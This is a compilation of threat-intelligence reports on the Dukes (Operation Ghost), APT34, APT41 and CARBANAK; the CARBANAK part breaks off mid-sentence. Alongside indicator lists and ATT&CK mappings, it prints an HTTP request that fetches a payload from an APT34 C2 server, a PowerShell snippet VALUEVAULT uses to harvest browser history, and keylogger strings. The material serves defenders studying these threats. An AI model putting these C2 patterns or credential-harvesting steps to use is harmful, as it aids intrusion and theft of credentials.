Domain acciaio.com[.]br ceycarb[.]com coachandcook[.]at fisioterapiabb[.]it lorriratzlaff[.]com PolyglotDuke mavin21c.dothome.co[.]kr motherlodebulldogclub[.]com powerpolymerindustry[.]com publiccouncil[.]org rulourialuminiu.co[.]uk sistemikan[.]com varuhusmc[.]org MiniDuke ecolesndmessines[.]org salesappliances[.]com busseylawoffice[.]com fairfieldsch[.]org FatDuke ministernetwork[.]org skagenyoga[.]com westmedicalgroup[.]net LiteDuke bandabonga[.]fr Operation Ghost The Dukes aren t back they never left Public webpages used by PolyglotDuke http://ibb[.]co/hVhaAq http://imgur[.]com/1RzfF7r http://imgur[.]com/6wjspWp http://imgur[.]com/d4ObKL0 http://imgur[.]com/D6U06Ci http://imgur[.]com/GZSK9zI http://imgur[.]com/wcMk7a2 http://imgur[.]com/WMTwSMJ http://imgur[.]com/WOKHonk http://imgur[.]com/XFa7Ee1 http://jack998899jack.imgbb[.]com http://simp[.]ly/publish/pBn8Jt http://thinkery[.]me/billywilliams/5a0170161cb602262f000d2c http://twitter[.]com/aimeefleming25 http://twitter[.]com/hen_rivero http://twitter[.]com/JamesScott1990 http://twitter[.]com/KarimM_traveler http://twitter[.]com/lerg5pvo1i http://twitter[.]com/m63vhd7ach3 http://twitter[.]com/MarlinTarin http://twitter[.]com/np8j7ovqdl http://twitter[.]com/q5euqysfu5 http://twitter[.]com/qistp743li http://twitter[.]com/t8t842io2 http://twitter[.]com/ua6ivyxkfv http://twitter[.]com/utyi5asko02 http://twitter[.]com/vgmmmyqaq http://twitter[.]com/vvwc63tgz http://twitter[.]com/wekcddkg2ra http://twitter[.]com/xzg3a2e2z http://www.evernote[.]com/shard/s675/sh/6686ff4e-8896-499b-8cdb-a2bbf2cc4db9/ fc7fbe66c820f17c30147235e95d31b8 http://www.fotolog[.]com/g1h4wuiz6 http://www.fotolog[.]com/gf3z425rr0 http://www.fotolog[.]com/i4ntff47xfw http://www.fotolog[.]com/joannevil/121000000000030009/ http://www.fotolog[.]com/o2rh2s2x7pu http://www.fotolog[.]com/q4tusizx9xb http://www.fotolog[.]com/rypnil03sl6 http://www.fotolog[.]com/shx8hypubt http://www.fotolog[.]com/u99aliw5g http://www.fotolog[.]com/uq44y4j19m8 http://www.fotolog[.]com/vq21p34 http://www.fotolog[.]com/vz1g3wmwu http://www.fotolog[.]com/zu2of5vyfl6 http://www.google[.]com/?gws_rd=ssl#q=Heiofjskghwe+Hjwefkbqw http://www.kiwibox[.]com/AfricanRugby/info/ http://www.kiwibox[.]com/GaryPhotographe/info/ http://www.reddit[.]com/user/BeaumontV/ http://www.reddit[.]com/user/StevensThomasWis/ Operation Ghost The Dukes aren t back they never left MITRE ATT&CK TECHNIQUES Tactic Initial Access Execution Persistence Defense Evasion Discovery Lateral Movement Name Description T1193 Spearphishing Attachment The Dukes likely used spearphishing emails to compromise the target. T1078 Valid Accounts Operators use account credentials previously stolen to come back on the victim s network. T1106 Execution through API They use CreateProcess or LoadLibrary Windows APIs to execute binaries. T1129 Execution through Module Load Some of their malware load DLL using LoadLibrary Windows API. T1086 PowerShell FatDuke can execute PowerShell scripts. T1085 Rundll32 The FatDuke loader uses rundll32 to execute the main DLL. T1064 Scripting FatDuke can execute PowerShell scripts. T1035 Service Execution The Dukes use PsExec to execute binaries on remote hosts. T1060 Registry Run Keys / Startup Folder The Dukes use the CurrentVersion\Run registry key to establish persistence on compromised computers. T1053 Scheduled Task The Dukes use Scheduled Task to launch malware at startup. T1078 Valid Accounts The Dukes use account credentials previously stolen to come back on the victim s network. T1084 Windows Management Instrumentation Event Subscription The Dukes used WMI to establish persistence for RegDuke. T1140 Deobfuscate/Decode Files or Information The droppers for PolyglotDuke and LiteDuke embed encrypted payloads. T1107 File Deletion The Dukes malware can delete files and directories. T1112 Modify Registry The keys used to decrypt RegDuke payloads are stored in the Windows registry. T1027 Obfuscated Files or Information The Dukes encrypts PolyglotDuke and LiteDuke payloads with custom algorithms. They also rely on known obfuscation techniques such as opaque predicates and control flow flattening to obfuscate RegDuke, MiniDuke and FatDuke. T1085 Rundll32 The FatDuke loader uses rundll32 to execute the main DLL. T1064 Scripting FatDuke can execute PowerShell scripts. T1045 Software Packing The Dukes use a custom packer to obfuscate MiniDuke and FatDuke binaries. They also use the commercial packer .NET Reactor to obfuscate RegDuke. T1078 Valid Accounts The Dukes use account credentials previously stolen to come back on the victim s network. T1102 Web Service PolyglotDuke fetches public webpages (Twitter, Reddit, Imgur, etc.) to get encrypted strings leading to new C&C. server. For RegDuke, they also use Dropbox as a C&C server. T1083 File and Directory Discovery The Dukes can interact with files and directories on the victim s computer. T1135 Network Share Discovery The Dukes can list network shares. T1057 Process Discovery The Dukes can list running processes. T1049 System Network Connections Discovery The Dukes can execute commands like net use to gather information on network connections. T1077 Windows Admin Shares The Dukes use PsExec to execute binaries on a remote host. Operation Ghost Collection Command and Control Exfiltration The Dukes aren t back they never left T1005 Data from Local System The Dukes can collect files on the compromised machines T1039 Data from Network Shared Drive The Dukes can collect files on shared drives. T1025 Data from Removable Media The Dukes can collect files on removable drives. T1090 Connection Proxy The Dukes can communicate to the C&C server via proxy. They also use named pipes as proxies when a machine is isolated within a network and does not have direct access to the internet. T1001 Data Obfuscation The Dukes use steganography to hide payloads and commands inside valid images. T1008 Fallback Channels The Dukes have multiple C&C servers in case one of them is down. T1071 Standard Application Layer Protocol The Dukes are using HTTP and HTTPS protocols to communicate with the C&C server. T1102 Web Service PolyglotDuke fetches public webpages (Twitter, Reddit, Imgur, etc.) to get encrypted strings leading to new C&C server. For RegDuke, they also use Dropbox as a C&C server. T1041 Exfiltration Over Command and Control Channel The Dukes use the C&C channel to exfiltrate stolen data. Hard Pass: Declining APT34 s Invite to Join Their Professional Network fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professionalnetwork.html Background With increasing geopolitical tensions in the Middle East, we expect Iran to significantly increase the volume and scope of its cyber espionage campaigns. Iran has a critical need for strategic intelligence and is likely to fill this gap by conducting espionage against decision makers and key organizations that may have information that furthers Iran's economic and national security goals. The identification of new malware and the creation of additional infrastructure to enable such campaigns highlights the increased tempo of these operations in support of Iranian interests. FireEye Identifies Phishing Campaign In late June 2019, FireEye identified a phishing campaign conducted by APT34, an Iraniannexus threat actor. Three key attributes caught our eye with this particular campaign: 1. Masquerading as a member of Cambridge University to gain victims trust to open malicious documents, 2. The usage of LinkedIn to deliver malicious documents, 3. The addition of three new malware families to APT34 s arsenal. FireEye s platform successfully thwarted this attempted intrusion, stopping a new malware variant dead in its tracks. Additionally, with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE), Intelligence, and Advanced Practices teams, we identified three new malware families and a reappearance of PICKPOCKET, malware exclusively observed in use by APT34. The new malware families, which we will examine later in this post, show APT34 relying on their PowerShell development capabilities, as well as trying their hand at Golang. APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014. They use a mix of public and non-public tools to collect strategic information that would benefit nation-state interests pertaining to geopolitical and economic needs. APT34 aligns with elements of activity reported as OilRig and Greenbug, by various security researchers. This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however, we believe APT34's strongest interest is gaining access to financial, energy, and government entities. Additional research on APT34 can be found in this FireEye blog post, this CERT-OPMD post, and this Cisco post. 1/11 Managed Defense also initiated a Community Protection Event (CPE) titled Geopolitical Spotlight: Iran. This CPE was created to ensure our customers are updated with new discoveries, activity and detection efforts related to this campaign, along with other recent activity from Iranian-nexus threat actors to include APT33, which is mentioned in this updated FireEye blog post. Industries Targeted The activities observed by Managed Defense, and described in this post, were primarily targeting the following industries: Energy and Utilities Government Oil and Gas Utilizing Cambridge University to Establish Trust On June 19, 2019, FireEye s Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances. The offending application was identified as Microsoft Excel and was stopped immediately by FireEye Endpoint Security s ExploitGuard engine. ExploitGuard is our behavioral monitoring, detection, and prevention capability that monitors application behavior, looking for various anomalies that threat actors use to subvert traditional detection mechanisms. Offending applications can subsequently be sandboxed or terminated, preventing an exploit from reaching its next programmed step. The Managed Defense SOC analyzed the alert and identified a malicious file named System.doc (MD5: b338baa673ac007d7af54075ea69660b), located in C:\Users\ \.templates. The file System.doc is a Windows Portable Executable (PE), despite having a "doc" file extension. FireEye identified this new malware family as TONEDEAF. A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files temp.txt and temp2.txt within the same directory of its execution. We explore additional technical details of TONEDEAF in the malware appendix of this post. Retracing the steps preceding exploit detection, FireEye identified that System.doc was dropped by a file named ERFT-Details.xls. Combining endpoint- and network-visibility, we were able to correlate that ERFT-Details.xls originated from the URL http://www.cam- 2/11 research-ac[.]com/Documents/ERFT-Details.xls. Network evidence also showed the access of a LinkedIn message directly preceding the spreadsheet download. Managed Defense reached out to the impacted customer s security team, who confirmed the file was received via a LinkedIn message. The targeted employee conversed with "Rebecca Watts", allegedly employed as "Research Staff at University of Cambridge". The conversation with Ms. Watts, provided in Figure 1, began with the solicitation of resumes for potential job opportunities. Figure 1: Screenshot of LinkedIn message asking to download TONEDEAF This is not the first time we ve seen APT34 utilize academia and/or job offer conversations in their various campaigns. These conversations often take place on social media platforms, which can be an effective delivery mechanism if a targeted organization is focusing heavily on e-mail defenses to prevent intrusions. FireEye examined the original file ERFT-Details.xls, which was observed with at least two unique MD5 file hashes: 96feed478c347d4b95a8224de26a1b2c caf418cbf6a9c4e93e79d4714d5d3b87 A snippet of the VBA code, provided in Figure 2, creates System.doc in the target directory from base64-encoded text upon opening. 3/11 Figure 2: Screenshot of VBA code from System.doc The spreadsheet also creates a scheduled task named "windows update check" that runs the file C:\Users\\.templates\System Manager.exe every minute. Upon closing the spreadsheet, a final VBA function will rename System.doc to System Manager.exe. Figure 3 provides a snippet of VBA code that creates the scheduled task, clearly obfuscated to avoid simple detection. 4/11 Figure 3: Additional VBA code from System.doc Upon first execution of TONEDEAF, FireEye identified a callback to the C2 server offlineearthquake[.]com over port 80. The FireEye Footprint: Pivots and Victim Identification After identifying the usage of offlineearthquake[.]com as a potential C2 domain, FireEye Intelligence and Advanced Practices teams performed a wider search across our global visibility. FireEye s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations. Of note, FireEye discovered two additional new malware families hosted at this domain, VALUEVAULT and LONGWATCH. We also identified a variant of PICKPOCKET, a browser credential-theft tool FireEye has been tracking since May 2018, hosted on the C2. Requests to the domain offlineearthquake[.]com could take multiple forms, depending on the malware s stage of installation and purpose. Additionally, during installation, the malware retrieves the system and current user names, which are used to create a threecharacter sys_id . This value is used in subsequent requests, likely to track infected target activity. URLs were observed with the following structures: hxxp[://]offlineearthquake[.]com/download?id=&n=000 hxxp[://]offlineearthquake[.]com/upload?id=&n=000 hxxp[://]offlineearthquake[.]com/file//?id=&h=000 hxxp[://]offlineearthquake[.]com/file//?id=&n=000 The first executable identified by FireEye on the C2 was WinNTProgram.exe (MD5: 021a0f57fe09116a43c27e5133a57a0a), identified by FireEye as LONGWATCH. LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Window s temp folder. Further information regarding LONGWATCH is detailed in the Malware Appendix section at the end of the post. FireEye Network Security appliances also detected the following being retrieved from APT34 infrastructure (Figure 4). GET hxxp://offlineearthquake.com/file//b.exe?id=<3char_redacted>&n=000 User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) AppleWebKit/537.36 (KHTML, like Gecko) Host: offlineearthquake[.]com Proxy-Connection: Keep-Alive Pragma: no-cache HTTP/1.1 Figure 4: Snippet of HTTP traffic retrieving VALUEVAULT; detected by FireEye Network Security appliance 5/11 FireEye identifies b.exe (MD5: 9fff498b78d9498b33e08b892148135f) as VALUEVAULT. VALUEVAULT is a Golang compiled version of the "Windows Vault Password Dumper" browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel. VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. Further information regarding VALUEVAULT can be found in the appendix below. Further pivoting from FireEye appliances and internal data sources yielded two additional files, PE86.dll (MD5: d8abe843db508048b4d4db748f92a103) and PE64.dll (MD5: 6eca9c2b7cf12c247032aae28419319e). These files were analyzed and determined to be 64and 32-bit variants of the malware PICKPOCKET, respectively. PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed during a Mandiant incident response in 2018 and, to date, solely utilized by APT34. Conclusion The activity described in this blog post presented a well-known Iranian threat actor utilizing their tried-and-true techniques to breach targeted organizations. Luckily, with FireEye platform in place, our Managed Defense customers were not impacted. Furthermore, upon the blocking of this activity, FireEye was able to expand upon the observed indicators to identify a broader campaign, as well as the use of new and old malware. We suspect this will not be the last time APT34 brings new tools to the table. Threat actors are often reshaping their TTPs to evade detection mechanisms, especially if the target is highly desired. For these reasons, we recommend organizations remain vigilant in their defenses, and remember to view their environment holistically when it comes to information security. Malware Appendix TONEDEAF TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. Although this backdoor was coded to be able to communicate with DNS requests to the hard-coded Command and Control server, c[.]cdn-edge-akamai[.]com, it was not configured to use this functionality. Figure 5 provides a snippet of the assembly CALL instruction of dns_exfil. The creator likely made this as a means for future DNS exfiltration as a plan B. 6/11 Figure 5: Snippet of code from TONEDEAF binary Aside from not being enabled in this sample, the DNS tunneling functionality also contains missing values and bugs that prevent it from executing properly. One such bug involves determining the length of a command response string without accounting for Unicode strings. As a result, a single command response byte is sent when, for example, the malware executes a shell command that returns Unicode output. Additionally, within the malware, an unused string contained the address 185[.]15[.]247[.]154. VALUEVAULT VALUEVAULT is a Golang compiled version of the Windows Vault Password Dumper browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel. VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. A snippet of this function is shown in Figure 6. powershell.exe /c "function get-iehistory {. [CmdletBinding()]. param (). . $shell = New-Object ComObject Shell.Application. $hist = $shell.NameSpace(34). $folder = $hist.Self. . $hist.Items() | . foreach {. if ($_.IsFolder) {. $siteFolder = $_.GetFolder. $siteFolder.Items() | . foreach {. $site = $_. . if ($site.IsFolder) {. $pageFolder = $site.GetFolder. $pageFolder.Items() | . foreach {. $visit = New-Object -TypeName PSObject -Property @{ . URL = $($pageFolder.GetDetailsOf($_,0)) . }. $visit. }. }. }. }. }. }. get-iehistory Figure 6: Snippet of PowerShell code from VALUEVAULT to extract browser credentials 7/11 Upon execution, VALUEVAULT creates a SQLITE database file in the AppData\Roaming directory under the context of the user account it was executed by. This file is named fsociety.dat and VALUEVAULT will write the dumped passwords to this in SQL format. This functionality is not in the original version of the Windows Vault Password Dumper . Figure 7 shows the SQL format of the fsociety.dat file. Figure 7: SQL format of the VALUEVAULT fsociety.dat SQLite database VALUEVAULT s function names are not obfuscated and are directly reviewable in strings analysis. Other developer environment variables were directly available within the binary as shown below. VALUEVAULT does not possess the ability to perform network communication, meaning the operators would need to manually retrieve the captured output of the tool. C:/Users//Desktop/projects/go/src/browsers-password-cracker/new_edge.go C:/Users//Desktop/projects/go/src/browsers-password-cracker/mozila.go C:/Users//Desktop/projects/go/src/browsers-password-cracker/main.go C:/Users//Desktop/projects/go/src/browsers-password-cracker/ie.go C:/Users//Desktop/projects/go/src/browsers-password-cracker/Chrome Password Recovery.go Figure 8: Golang files extracted during execution of VALUEVAULT LONGWATCH FireEye identified the binary WinNTProgram.exe (MD5:021a0f57fe09116a43c27e5133a57a0a) hosted on the malicious domain offlineearthquake[.]com. FireEye identifies this malware as LONGWATCH. The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder. Interesting strings identified in the binary are shown in Figure 9. 8/11 GetAsyncKeyState >---------------------------------------------------\n\n c:\\windows\\temp\\log.txt [ENTER] [CapsLock] [CRTL] [PAGE_UP] [PAGE_DOWN] [HOME] [LEFT] [RIGHT] [DOWN] [PRINT] [PRINT SCREEN] (1 space) [INSERT] [SLEEP] [PAUSE] \n---------------CLIPBOARD------------\n \n\n >>> (2 spaces) c:\\windows\\temp\\log.txt Figure 9: Strings identified in a LONGWATCH binary Detecting the Techniques FireEye detects this activity across our platforms, including named detection for TONEDEAF, VALUEVAULT, and LONGWATCH. Table 2 contains several specific detection names that provide an indication of APT34 activity. Signature Name FE_APT_Keylogger_Win_LONGWATCH_1 FE_APT_Keylogger_Win_LONGWATCH_2 FE_APT_Keylogger_Win32_LONGWATCH_1 FE_APT_HackTool_Win_PICKPOCKET_1 FE_APT_Trojan_Win32_VALUEVAULT_1 9/11 FE_APT_Backdoor_Win32_TONEDEAF TONEDEAF BACKDOOR [DNS] TONEDEAF BACKDOOR [upload] TONEDEAF BACKDOOR [URI] Table 1: FireEye Platform Detections Endpoint Indicators Indicator MD5 Hash (if applicable) Code Family System.doc b338baa673ac007d7af54075ea69660b TONEDEAF 50fb09d53c856dcd0782e1470eaeae35 TONEDEAF 96feed478c347d4b95a8224de26a1b2c TONEDEAF DROPPER caf418cbf6a9c4e93e79d4714d5d3b87 TONEDEAF DROPPER b.exe 9fff498b78d9498b33e08b892148135f VALUEVAULT WindowsNTProgram.exe 021a0f57fe09116a43c27e5133a57a0a LONGWATCH PE86.dll d8abe843db508048b4d4db748f92a103 PICKPOCKET PE64.dll 6eca9c2b7cf12c247032aae28419319e PICKPOCKET ERFT-Details.xls Table 2: APT34 Endpoint Indicators from this blog post Network Indicators hxxp[://]www[.]cam-research-ac[.]com offlineearthquake[.]com 10/11 c[.]cdn-edge-akamai[.]com 185[.]15[.]247[.]154 Acknowledgements A huge thanks to Delyan Vasilev and Alex Lanstein for their efforts in detecting, analyzing and classifying this APT34 campaign. Thanks to Matt Williams, Carlos Garcia and Matt Haigh from the FLARE team for the in-depth malware analysis. 11/11 APT41: A Dual Espionage and Cyber Crime Operation fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html Today, FireEye Intelligence is releasing a comprehensive report detailing APT41, a prolific Chinese cyber threat group that carries out state-sponsored espionage activity in parallel with financially motivated operations. APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage campaigns in what appears to be activity for personal gain. Explicit financially-motivated targeting is unusual among Chinese state-sponsored threat groups, and evidence suggests APT41 has conducted simultaneous cyber crime and cyber espionage operations from 2014 onward. The full published report covers historical and ongoing activity attributed to APT41, the evolution of the group s tactics, techniques, and procedures (TTPs), information on the individual actors, an overview of their malware toolset, and how these identifiers overlap with other known Chinese espionage operators. APT41 partially coincides with public reporting on groups including BARIUM (Microsoft) and Winnti (Kaspersky, ESET, Clearsky). Who Does APT41 Target? Like other Chinese espionage operators, APT41 espionage targeting has generally aligned with China's Five-Year economic development plans. The group has established and maintained strategic access to organizations in the healthcare, high-tech, and telecommunications sectors. APT41 operations against higher education, travel services, and news/media firms provide some indication that the group also tracks individuals and conducts surveillance. For example, the group has repeatedly targeted call record information at telecom companies. In another instance, APT41 targeted a hotel s reservation systems ahead of Chinese officials staying there, suggesting the group was tasked to reconnoiter the facility for security reasons. The group s financially motivated activity has primarily focused on the video game industry, where APT41 has manipulated virtual currencies and even attempted to deploy ransomware. The group is adept at moving laterally within targeted networks, including pivoting between Windows and Linux systems, until it can access game production environments. From there, the group steals source code as well as digital certificates which are then used to sign malware. More importantly, APT41 is known to use its access to production environments to inject malicious code into legitimate files which are later distributed to victim organizations. These supply chain compromise tactics have also been characteristic of APT41 s best known and most recent espionage campaigns. Interestingly, despite the significant effort required to execute supply chain compromises and the large number of affected organizations, APT41 limits the deployment of follow-on malware to specific victim systems by matching against individual system identifiers. These multi-stage operations restrict malware delivery only to intended victims and significantly obfuscate the intended targets. In contrast, a typical spear-phishing campaign s desired targeting can be discerned based on recipients' email addresses. A breakdown of industries directly targeted by APT41 over time can be found in Figure 1. Figure 1: Timeline of industries directly targeted by APT41 Probable Chinese Espionage Contractors Two identified personas using the monikers Zhang Xuguang and Wolfzhi linked to APT41 operations have also been identified in Chinese-language forums. These individuals advertised their skills and services and indicated that they could be hired. Zhang listed his online hours as 4:00pm to 6:00am, similar to APT41 operational times against online gaming targets and suggesting that he is moonlighting. Mapping the group s activities since 2012 (Figure 2) also provides some indication that APT41 primarily conducts financially motivated operations outside of their normal day jobs. Attribution to these individuals is backed by identified persona information, their previous work and apparent expertise in programming skills, and their targeting of Chinese marketspecific online games. The latter is especially notable because APT41 has repeatedly returned to targeting the video game industry and we believe these activities were formative in the group s later espionage operations. Figure 2: Operational activity for gaming versus non-gaming-related targeting based on observed operations since 2012 The Right Tool for the Job APT41 leverages an arsenal of over 46 different malware families and tools to accomplish their missions, including publicly available utilities, malware shared with other Chinese espionage operations, and tools unique to the group. The group often relies on spearphishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims. Once in a victim organization, APT41 can leverage more sophisticated TTPs and deploy additional malware. For example, in a campaign running almost a year, APT41 compromised hundreds of systems and used close to 150 unique pieces of malware including backdoors, credential stealers, keyloggers, and rootkits. APT41 has also deployed rootkits and Master Boot Record (MBR) bootkits on a limited basis to hide their malware and maintain persistence on select victim systems. The use of bootkits in particular adds an extra layer of stealth because the code is executed prior to the operating system initializing. The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets. Fast and Relentless APT41 quickly identifies and compromises intermediary systems that provide access to otherwise segmented parts of an organization s network. In one case, the group compromised hundreds of systems across multiple network segments and several geographic regions in as little as two weeks. The group is also highly agile and persistent, responding quickly to changes in victim environments and incident responder activity. Hours after a victimized organization made changes to thwart APT41, for example, the group compiled a new version of a backdoor using a freshly registered command-and-control domain and compromised several systems across multiple geographic regions. In a different instance, APT41 sent spear-phishing emails to multiple HR employees three days after an intrusion had been remediated and systems were brought back online. Within hours of a user opening a malicious attachment sent by APT41, the group had regained a foothold within the organization's servers across multiple geographic regions. Looking Ahead APT41 is a creative, skilled, and well-resourced adversary, as highlighted by the operation distinct use of supply chain compromises to target select individuals, consistent signing of malware using compromised digital certificates, and deployment of bootkits (which is rare among Chinese APT groups). Like other Chinese espionage operators, APT41 appears to have moved toward strategic intelligence collection and establishing access and away from direct intellectual property theft since 2015. This shift, however, has not affected the group's consistent interest in targeting the video game industry for financially motivated reasons. The group's capabilities and targeting have both broadened over time, signaling the potential for additional supply chain compromises affecting a variety of victims in additional verticals. APT41's links to both underground marketplaces and state-sponsored activity may indicate the group enjoys protections that enables it to conduct its own for-profit activities, or authorities are willing to overlook them. It is also possible that APT41 has simply evaded scrutiny from Chinese authorities. Regardless, these operations underscore a blurred line between state power and crime that lies at the heart of threat ecosystems and is exemplified by APT41. CARBANAK Week Part One: A Rare Occurrence fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html It is very unusual for FLARE to analyze a prolifically-used, privately-developed backdoor only to later have the source code and operator tools fall into our laps. Yet this is the extraordinary circumstance that sets the stage for CARBANAK Week, a four-part blog series that commences with this post. CARBANAK is one of the most full-featured backdoors around. It was used to perpetrate millions of dollars in financial crimes, largely by the group we track as FIN7. In 2017, Tom Bennett and Barry Vengerik published Behind the CARBANAK Backdoor, which was the product of a deep and broad analysis of CARBANAK samples and FIN7 activity across several years. On the heels of that publication, our colleague Nick Carr uncovered a pair of RAR archives containing CARBANAK source code, builders, and other tools (both available in VirusTotal: kb3r1p and apwmie). FLARE malware analysis requests are typically limited to a few dozen files at most. But the CARBANAK source code was 20MB comprising 755 files, with 39 binaries and 100,000 lines of code. Our goal was to find threat intelligence we missed in our previous analyses. How does an analyst respond to a request with such breadth and open-ended scope? And what did we find? My friend Tom Bennett and I spoke about this briefly in our 2018 FireEye Cyber Defense Summit talk, Hello, Carbanak! In this blog series, we will expound at length and share a written retrospective on the inferences drawn in our previous public analysis based on binary code reverse engineering. In this first part, I ll discuss Russian language concerns, translated graphical user interfaces of CARBANAK tools, and anti-analysis tactics as seen 1/14 from a source code perspective. We will also explain an interesting twist where analyzing the source code surprisingly proved to be just as difficult as analyzing the binary, if not more. There s a lot here; buckle up! File Encoding and Language Considerations The objective of this analysis was to discover threat intelligence gaps and better protect our customers. To begin, I wanted to assemble a cross-reference of source code files and concepts of specific interest. Reading the source code entailed two steps: displaying the files in the correct encoding, and learning enough Russian to be dangerous. Figure 1 shows CARBANAK source code in a text editor that is unaware of the correct encoding. Figure 1: File without proper decoding Two good file encoding guesses are UTF-8 and code page 1251 (Cyrillic). The files were mostly code page 1251 as shown in Figure 2. 2/14 Figure 2: Code Page 1251 (Cyrillic) source code Figure 2 is a C++ header file defining error values involved in backdoor command execution. Most identifiers were in English, but some were not particularly descriptive. Ergo, the second and more difficult step was learning some Russian to benefit from the context offered by the source code comments. FLARE has fluent Russian speakers, but I took it upon myself to minimize my use of other analysts time. To this end, I wrote a script to tear through files and create a prioritized vocabulary list. The script, which is available in the FireEye vocab_scraper GitHub repository, walks source directories finding all character sequences outside the printable lower ASCII range: decimal values 32 (the space character) through 126 (the tilde character ) inclusive. The script adds each word to a Python defaultdict_ and increments its count. Finally, the script orders this dictionary by frequency of occurrence and dumps it to a file. The result was a 3,400+ word vocabulary list, partially shown in Figure 3. 3/14 Figure 3: Top 19 Cyrillic character sequences from the CARBANAK source code I spent several hours on Russian language learning websites to study the pronunciation of Cyrillic characters and Russian words. Then, I looked up the top 600+ words and created a small dictionary. I added Russian language input to an analysis VM and used Microsoft s on-screen keyboard (osk.exe) to navigate the Cyrillic keyboard layout and look up definitions. One helpful effect of learning to pronounce Cyrillic characters was my newfound recognition of English loan words (words that are borrowed from English and transliterated to Cyrillic). My small vocabulary allowed me to read many comments without looking anything up. Table 1 shows a short sampling of some of the English loan words I encountered. Cyrillic English Phonetic English Occurrences Rank f ah y L file server server adres address komand command 110+ bota 4/14 p l ah g ee n plugin s e r v ee s service p r o ts e s s process 130ish Table 1: Sampling of English loan words in the CARBANAK source code Aside from source code comments, understanding how to read and type in Cyrillic came in handy for translating the CARBANAK graphical user interfaces I found in the source code dump. Figure 4 shows a Command and Control (C2) user interface for CARBANAK that I translated. Figure 4: Translated C2 graphical user interface These user interfaces included video management and playback applications as shown in Figure 5 and Figure 6 respectively. Tom will share some interesting work he did with these in a subsequent part of this blog series. 5/14 Figure 5: Translated video management application user interface Figure 6: Translated video playback application user interface 6/14 Figure 7 shows the backdoor builder that was contained within the RAR archive of operator tools. Figure 7: Translated backdoor builder application user interface The operator RAR archive also contained an operator s manual explaining the semantics of all the backdoor commands. Figure 8 shows the first few commands in this manual, both in Russian and English (translated). 7/14 Figure 8: Operator manual (left: original Russian; right: translated to English) Down the Rabbit Hole: When Having Source Code Does Not Help In simpler backdoors, a single function evaluates the command ID received from the C2 server and dispatches control to the correct function to carry out the command. For example, a backdoor might ask its C2 server for a command and receive a response bearing the command ID 0x67. The dispatch function in the backdoor will check the command ID against several different values, including 0x67, which as an example might call a function to shovel a reverse shell to the C2 server. Figure 9 shows a control flow graph of such a function as viewed in IDA Pro. Each block of code checks against a command ID and either passes control to the appropriate command handling code, or moves on to check for the next command ID. 8/14 Figure 9: A control flow graph of a simple command handling function In this regard, CARBANAK is an entirely different beast. It utilizes a Windows mechanism called named pipes as a means of communication and coordination across all the threads, processes, and plugins under the backdoor s control. When the CARBANAK tasking component receives a command, it forwards the command over a named pipe where it travels through several different functions that process the message, possibly writing it to one or more additional named pipes, until it arrives at its destination where the specified command is finally handled. Command handlers may even specify their own named pipe to request more data from the C2 server. When the C2 server returns the data, CARBANAK writes the result to this auxiliary named pipe and a callback function is triggered to handle the response data asynchronously. CARBANAK s named pipe-based tasking component is flexible enough to control both inherent command handlers and plugins. It also allows for 9/14 the possibility of a local client to dispatch commands to CARBANAK without the use of a network. In fact, not only did we write such a client to aid in analysis and testing, but such a client, named botcmd.exe, was also present in the source dump. s Perspective Analyzing this command-handling mechanism within CARBANAK from a binary perspective was certainly challenging. It required maintaining tabs for many different views into the disassembly, and a sort of textual map of command ids and named pipe names to describe the journey of an inbound command through the various pipes and functions before arriving at its destination. Figure 10 shows the control flow graphs for seven of the named pipe message handling functions. While it was difficult to analyze this from a binary reverse engineering perspective, having compiled code combined with the features that a good disassembler such as IDA Pro provides made it less harrowing than Mike s experience. The binary perspective saved me from having to search across several source files and deal with ambiguous function names. The disassembler features allowed me to easily follow crossreferences for functions and global variables and to open multiple, related views into the code. Figure 10: Control flow graphs for the named pipe message handling functions Mike s Perspective Having source code sounds like cheat-mode for malware analysis. Indeed, source code contains much information that is lost through the compilation and linking process. Even so, CARBANAK s tasking component (for handling commands sent by the C2 server) serves as a counter-example. Depending on the C2 protocol used and the command being processed, control flow may take divergent paths through different functions only to converge again 10/14 later and accomplish the same command. Analysis required bouncing around between almost 20 functions in 5 files, often backtracking to recover information about function pointers and parameters that were passed in from as many as 18 layers back. Analysis also entailed resolving matters of C++ class inheritance, scope ambiguity, overloaded functions, and control flow termination upon named pipe usage. The overall effect was that this was difficult to analyze, even in source code. I only embarked on this top-to-bottom journey once, to search for any surprises. The effort gave me an appreciation for the baroque machinery the authors constructed either for the sake of obfuscation or flexibility. I felt like this was done at least in part to obscure relationships and hinder timely analysis. Anti-Analysis Mechanisms in Source Code CARBANAK s executable code is filled with logic that pushes hexadecimal numbers to the same function, followed by an indirect call against the returned value. This is easily recognizable as obfuscated function import resolution, wherein CARBANAK uses a simple string hash known as PJW (named after its author, P.J. Weinberger) to locate Windows API functions without disclosing their names. A Python implementation of the 